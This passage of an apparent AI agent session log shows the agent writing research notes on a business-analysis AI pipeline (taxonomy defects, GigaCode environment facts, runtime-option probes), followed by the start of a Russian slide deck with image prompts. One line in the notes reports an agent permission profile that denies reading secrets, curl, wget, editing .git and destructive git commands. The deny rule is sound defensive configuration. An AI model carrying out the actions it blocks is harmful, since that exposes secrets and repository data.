route sheet C-RK is a commitment.\\n- Compatibility rules C1..C6 and flow rules F1..F6 are machine-checked. Interruption is normal; HG-8 is the stop gate.\\n- Routing already exists implicitly (stepwise 10 / oneshot 9 / legacy 5).\\n- Build verdict: a YAML artifact; an engine is redundant (orchestration/30-decision-framework.md around L193).\\n  Later challenged by #639: the orchestrator role has no executor.\\n\\nsolution-modeling (research/ba-requirements/solution-modeling/)\\n- The core is an object (C-CORE), not a stage. Practice has none: 2/57 modeling runs, and the 40% multi-document runs are built from dialogue context.\\n- Priority is readability across actors. 12 model classes MO-1..MO-12. The HG-4 owner is set by axis A6.\\n- Mango covers 6/12 model classes and 4/9 invariants.\\n- Build-vs-buy candidates: StrictDoc, Doorstop, Sphinx-Needs, ReqIF.\\n\\nartifact-micro-structure (research/ba-requirements/artifact-micro-structure/)\\n- 17/17 skeletons differ. Arity is stable but semantics are not, so captions must be separated from meaning (slots S-*).\\n- UI and AC are dissolved into FR. Documents are built by projection, not concatenation: one artifact, 3 projections (V-BIZ / V-APPROVE / V-DEV).\\n- The Golden Set is mandatory, synthetic, and part of G-mach. A skill is an atomic, compiled, self-contained artifact.\\n\\nartifact-rendering (research/ba-requirements/artifact-rendering/)\\n- M2 is assembly, not authorship: no new meaning may be born at render (non-drift K5). 23/57 runs produce multiple documents; 9 shipped fiction.\\n- Three render modes (deterministic RM-1, generative, hybrid RM-3), distinguished by what can be proven.\\n- H2.2: deterministic rendering may be impossible for a TZ. Gates HG-5 / HG-5.1.\\n\\nfeedback-and-evolution (research/ba-requirements/feedback-and-evolution/)\\n- Without M3 the pipeline cannot learn. Documents are delivered in 100% of runs, but measurement reliability is declared in only 8.8%.\\n- 71 metric keys, 24 singletons; token_method has 24 values.\\n- First task: a closure-record schema C-CL.\\n- Separate execution quality, decision quality and process quality. Feedback delay ranges from minutes to months.\\n\\n---------------------------------------------------------------------------------------------------\\n## 4. GigaCode environment, skill granularity/format, process taxonomy defects\\n\\n### 4.1 research/ba-requirements/2026-09-10-gigacode-environment-facts.md\\n- 11/11 vendor pages returned HTTP 200; 24/24 control statements were found. Facts GC-1..GC-28.\\n- Skills: SKILL.md lives in .agents/skills//. Only name and description are required, name must be unique, and loading is staged.\\n- Agents:\\n  - Defined in .opencode/agent/*.md with mode primary/subagent/all, plus permission and steps.\\n  - Shell access is available for build/test/lint.\\n  - The profile forbids reading secrets, editing .git, curl, wget, git merge and git reset --hard. MCP is available.\\n- Vendor quality stance:\\n  - \\\"\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0430\\\" (the check must be shown, not claimed).\\n  - \\\"\u043a\u0430\u0436\u0434\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0444\u0430\u0439\u043b\u043e\u043c \u0438 \u0441\u0442\u0440\u043e\u043a\u043e\u0439\\\" (every claim is backed by file and line).\\n- Automatic context compression. AGENTS.md is read on every run.\\n- GC-19: works where the result is machine-checkable. GC-20: invents what it does not know.\\n- The GigaCode developer opens PRs. MCP exposes 42 tools, including issue_read, add_issue_comment and get_job_logs.\\n- GC-25..28, skill bounds:\\n  - A short rule belongs in AGENTS.md.\\n  - Anything that needs separate permissions or an isolated context is an agent.\\n- Owner's claim of a 1,000,000-token hard limit is not in the docs (rule SK-6; verification is B-162).\\n- The earlier assumption that \\\"SKILL.md was derived by analogy\\\" is refuted. The human-gate mechanism is undocumented.\\n\\n### 4.2 research/ba-requirements/2026-09-10-skill-granularity-format-facts.md\\n- F1: the environment does not bound skill granularity (confirmed). F2/F3 give the lower and upper bounds.\\n- F4: control returns to the actor in stepwise 10/10, oneshot 0/9, legacy 0/5, a perfect split.\\n- F5: \\\"oneshot = atomic\\\" is refuted. 9/9 oneshot prompts contain an internal algorithm.\\n- F6: 0/33 L3 skills consist of a single operation; skills use 2..7 operations.\\n- F7: 21/31 operations are reused by 3 or more skills. Top: check-schema 11, link-elements 8, map-to-slot 7, check-completeness 6, classify-item 6, classify-severity 6, extract-statements 6.\\n\\n### 4.3 research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md (spoke 8cbf82a, hub 15aa76f)\\n- D1: \\\"\u0424\u0422/\u0422\u0417\\\" (FR/TZ) merged in 29 places, while the ontology has 2 types (A18 feature-spec-kk; A19 tz-contract per GOST 34.602-2020).\\n- D2: \\\"draft\\\" is used as a process boundary in 4 places, although it is a lifecycle state.\\n- D3: 7/13 operations (0.538) have more than one output class (the documentation describes 6).\\n- D4: 8/13 operation definitions enumerate heterogeneous results.\\n- D5: 6 subprocesses (P1..P6, gates G1..G3) in Mango vs 0 in the hub.\\n- D6: System, User and Subprocess entities are missing, while 5 prompts require an actor. Addressed by meta-model v0.2 (11 entities).\\n- D7: 66/67 runs fall outside the process dictionary.\\n- D8: 1 branching marker (a negation) vs 2 immutability claims.\\n- DISCREPANCY: research/ba-requirements/README.md paraphrases D3 as \\\"7 of 13 operations without a single prompt\\\" and D4 as \\\"8 of 13 require branching\\\".\\n  The facts file defines D3 as \\\"more than one output class\\\" and D4 as \\\"enumerating definitions\\\". Cite the facts file.\\n- Related ADR: ADR-015 (taxonomy rebuild).\\n\\n### 4.4 Taxonomy after rebuild (research/ba-requirements/README.md v0.5)\\n- Levels: L0 BABOK 6 -> L1 6 families -> L2 10 processes P-01..P-10 -> L3 33 skills.\\n- 31 operations in 5 classes.\\n- ba-meta-model, process-taxonomy and operation-taxonomy were moved to projects/ba-ai-process/ (B-155, #573).\\n\\n---------------------------------------------------------------------------------------------------\\n## 5. Branch issue-639 vs main\\n\\n- origin/issue-639-405767e7672e (tip 836faaf) is an ancestor of main. It was merged via PR #643 (merge commit d718616), so 0 commits are ahead of main.\\n- research/ba-requirements is identical on the branch and on main. There are NO new files in that directory.\\n- Files added by the #639 commits (all now on main):\\n  - projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md (508 lines, v0.1): runtime options, part 2\\n  - projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md (hypotheses \u0413-01..\u0413-25; v0.2 pointer): part 1\\n  - projects/ba-ai-process/experiments/issue_639_gap_probes.sh and .log\\n  - projects/ba-ai-process/experiments/issue_639_runner_probes.py and .log (probes P10..P12)\\n  - ops/backlog.md: sprint 25 items B-203..B-210; sprint 26 items B-211..B-218\\n- Key content of the runtime-options document:\\n  - Verdict: the main gap is in the meta-model. The orchestrator role has no executor among the 11 entities (\u0413-26).\\n    Quote: \\\"\u0412\u0435\u043a\u0442\u043e\u0440 \u0432\u0435\u0440\u043d\u044b\u0439, \u043d\u043e \u0443 \u043d\u0435\u0433\u043e \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u043b\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0432\u0435\u043d\u0430\\\" (the vector is right, but it lacked one link).\\n    Source -> Distribution -> Runtime -> Feedback (ADR-017) is correct; the missing link is the route executor, code that fulfils the meta-model obligations.\\n    It \\\"\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c; \u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0438\u0437 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runner GigaCode\\\" (need not be bought; it should be built out of the existing GigaCode runner).\\n  - Success criterion for a core option: it executes EP-R3/EP-R5 predicates, EP-R6 decision records, the EP-R7 corrective attempt, EP-R8 resume, the EP-R9 journal and G-human in code outside the model. It takes the graph from Source without manual redraw.\\n  - Probe findings:\\n    - \u0413-28 (P11): 17 YAML predicates in routes/rg-bcreq-v1.yaml are not read; branches are re-coded in Python for 8 nodes.\\n    - \u0413-29 (P10): \\\"lorem ipsum\\\" was accepted as the output of n1..n3.\\n    - \u0413-30: deterministic_share = 1.0 even with junk, so the ADR-018 trigger (<95% after 10 tasks) can never fire.\\n    - \u0413-31: halt is terminal, so there is no resume.\\n    - \u0413-32 (P12): one mistyped transition to n9 blocks the task permanently.\\n    - \u0413-33: EP-R7 allows 1 corrective attempt, but the package allows 0.\\n    - \u0413-35: the append-only digest-chain journal is confirmed.\\n  - Environment layer:\\n    - \u0413-37..39: clients, MCP (\\\"model-controlled\\\") and hooks cannot guarantee step order.\\n    - \u0413-41: clients are unstable. Roo Code archived, Kilo orchestrator deprecated, Gemini CLI paid-only from 2026-06-18, Cline v4 renamed its tools.\\n    - \u0413-42: GigaCode CLI provenance and hooks are unverified.\\n  - Environments:\\n    1. GigaCode CLI (the BA drives the route manually).\\n    2. Cline + Mango AI via an OpenAI-compatible API (the model drives the route; ADR-019 pilot).\\n    3. Qwen Chat.\\n    4. Server.\\n  - Options matrix \u0412-0..\u0412-10 against criteria \u041a1..\u041a8:\\n    - Recommendation 1 = \u0412-1: runner as leader on the BA workstation.\\n    - Recommendation 2 = \u0412-3: server runner (FastAPI + FSM + Postgres), with LangGraph (MIT) as optional \u0412-4.\\n    - The two recommendations are one trajectory.\\n  - n8n: only as a shell (\u0412-7), never as the core (\u0412-6). Reasons:\\n    - CVE-2026-21858 (CVSS 10.0).\\n    - The graph must be redrawn in n8n.\\n    - The AI Agent node is non-deterministic.\\n    - The Business tier costs EUR 667/month.\\n  - Rejected as core: Dify/Flowise, Windmill/Kestra/Prefect, Camunda/Operaton, Temporal (overkill).\\n  - \u0413-54: the deferred external-engine option needs a revisit trigger (multi-user, waits longer than a session, shared journal, i.e. env 4).\\n  - New root causes:\\n    - 7: the orchestrator role has no owner.\\n    - 8: the gate measures the package, not the step result.\\n    - 9: deferred decisions have no revisit triggers.\\n  - Guidance rules 8..12 for writing product tasks, e.g. name an executor for each role, ask what the gate actually checks, separate core from shell.\\n  - Readiness: the Cline package is debug-ready with conditions. The GigaCode runner is ready for transition debugging but NOT for pilot measurements until changes 1.1..1.3; until then deterministic_share says nothing about step quality.\\n  - Backlog:\\n    - B-211: evaluate YAML predicates.\\n    - B-212: per-node output contract.\\n    - B-213: wait/resume.\\n    - B-214: EP-R7 decision.\\n    - B-215: route executor in the meta-model.\\n    - B-216: one runner core for GigaCode and Cline.\\n    - B-217: verify GigaCode CLI.\\n    - B-218: RFC for env 4.\\n    - All are TODO with priority null (a human assigns priority).\\n  - Reproduce: python3 projects/ba-ai-process/experiments/issue_639_runner_probes.py. Versions: n8n 2.40.7, Cline 4.1.21, Open WebUI 0.11.4.\\nEOF\\nwc -w /tmp/research-notes/ba-requirements.md\",\n[2026-09-29T07:49:30.393Z] [INFO]           \"description\": \"Write full research notes file\"\n[2026-09-29T07:49:30.393Z] [INFO]         },\n[2026-09-29T07:49:30.393Z] [INFO]         \"caller\": {\n[2026-09-29T07:49:30.393Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:49:30.393Z] [INFO]         }\n[2026-09-29T07:49:30.393Z] [INFO]       }\n[2026-09-29T07:49:30.393Z] [INFO]     ],\n[2026-09-29T07:49:30.393Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:30.393Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:30.393Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:30.393Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:30.393Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:30.393Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:30.393Z] [INFO]       \"cache_creation_input_tokens\": 2519,\n[2026-09-29T07:49:30.393Z] [INFO]       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\\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u043b\u0430\u0439\u0434\u044b\\n\\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044e \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\nMango. \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u2014 \u0441\u043b\u0430\u0439\u0434\u044b. \u0423\u0441\u0442\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b\\n\u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u2014 \u0432\\n[\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u043e\u0431\u043e\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442.\\n\\n## \u041a\u0430\u043a \u0441\u043e\u0431\u0440\u0430\u043d \u043f\u0430\u043a\u0435\u0442\\n\\n- **Assertion-Evidence.** \u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0441\u043b\u0430\u0439\u0434\u0430 \u2014 \u0437\u0430\u043a\u043e\u043d\u0447\u0435\u043d\u043d\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435\\n  \u043c\u043e\u0436\u043d\u043e \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. \u0422\u0435\u043b\u043e \u2014 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e: \u0441\u0445\u0435\u043c\u0430, \u0447\u0438\u0441\u043b\u043e \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0430, \u0430 \u043d\u0435\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430.\\n- **\u041e\u0434\u0438\u043d \u0441\u043b\u0430\u0439\u0434 \u2014 \u043e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c.** 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u043e\u0434\u043d\u0430 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430. \u0412\u0441\u0451, \u0447\u0442\u043e\\n  \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f, \u0443\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0438\u043b\u0438 \u0432 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n- **\u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0435\u0441\u0442\u044c \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0433\u0434\u0435 \u043e\u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430. \u0427\u0438\u0441\u043b\u0430 \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442 \u043d\u0435 \u043f\u043e\u043f\u0430\u043b\u0438.\\n- **\u0421\u0442\u0430\u0442\u0443\u0441 \u043d\u0435 \u0437\u0430\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f.** \u0414\u043b\u044f \u044d\u0442\u0430\u043f\u043e\u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u0438 \u0441\u0440\u0435\u0434 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442,\\n  \u0447\u0442\u043e \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u0438 \u0447\u0442\u043e \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \u0414\u043b\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f\\n  \u043f\u0435\u0440\u0435\u043e\u0446\u0435\u043d\u043a\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0434\u043e\u0440\u043e\u0436\u0435, \u0447\u0435\u043c \u0447\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n- **\u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430:** \u0445\u0430\u043e\u0441 \u0441\u044b\u0440\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0438\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438.\\n\\n### \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u044b\u043c \u0431\u043b\u043e\u043a\u0430\u043c \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438\\n\\n| \u0411\u043b\u043e\u043a \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 | \u0421\u043b\u0430\u0439\u0434 |\\n| --- | --- |\\n| \u2014 (\u0442\u0438\u0442\u0443\u043b) | 1 |\\n| 1. \u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f | 2 |\\n| 2. \u0411\u043e\u043b\u044c | 3 |\\n| \u2014 (\u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0430: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u043e\u0434\u0435\u043b\u0438) | 4 |\\n| 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | 5 |\\n| 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 | 6 |\\n| 5. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 | 7 |\\n| 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f | 8 |\\n| 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 | 9 |\\n| \u2014 (\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b) | 10 |\\n\\n\u0421\u043b\u0430\u0439\u0434 4 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0441\u0432\u0435\u0440\u0445 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438: \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0440\u044b\u0432 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 6 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\\n\u0442\u0435\u0437\u0438\u0441, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0432\u044b\u0432\u043e\u0434 \u0438\u0437 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n### \u0415\u0434\u0438\u043d\u044b\u0439 \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0438\u043b\u044c \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n\\n\u0412\u0441\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043d\u0438\u0436\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0430 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u043e\u043c: \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u043f\u043e\u043d\u0438\u043c\u0430\u044e\u0442 \u0435\u0433\u043e\\n\u0442\u043e\u0447\u043d\u0435\u0435. \u041a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0449\u0438\u043c \u0441\u0442\u0438\u043b\u0435\u0432\u044b\u043c \u0441\u0443\u0444\u0444\u0438\u043a\u0441\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0441\u043b\u0430\u0439\u0434\u044b\\n\u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u043e\u0434\u043d\u0430 \u0441\u0435\u0440\u0438\u044f:\\n\\n```text\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n\u0414\u043b\u044f Midjourney \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 `--ar 16:9 --style raw`; \u0434\u043b\u044f DALL-E \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\\n1792\u00d71024. \u041d\u0430\u0434\u043f\u0438\u0441\u0438 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f: \u0442\u0435\u043a\u0441\u0442 \u0441\u043b\u0430\u0439\u0434\u0430 \u043d\u0430\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f\\n\u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435, \u0438\u043d\u0430\u0447\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0438\u0441\u043a\u0430\u0437\u0438\u0442 \u043a\u0438\u0440\u0438\u043b\u043b\u0438\u0446\u0443.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u041f\u043e\u0434\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a:** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango: \u043e\u0442 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 \u0441 fail-closed \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439.\\n\\n- \u041e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026.\\n- 69 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c v0.4: 11 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, 4 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, 3 \u0433\u0435\u0439\u0442\u0430.\\n- \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0432\u0435\u043a\u0442\u043e\u0440 \u2014 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0435 \u044f\u0434\u0440\u043e.\\n\\n> **\u041a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043c\u044b\u0441\u043b\u044c:** \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c \u0435\u0433\u043e\\n> \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA chaotic cloud of loose paper notes, chat bubbles and voice waveforms\\non the left flows through a precise geometric gate in the centre and\\nleaves on the right as a neat stack of identical, bound specification\\ndocuments, each linked by thin lines back to its source note.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n[\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 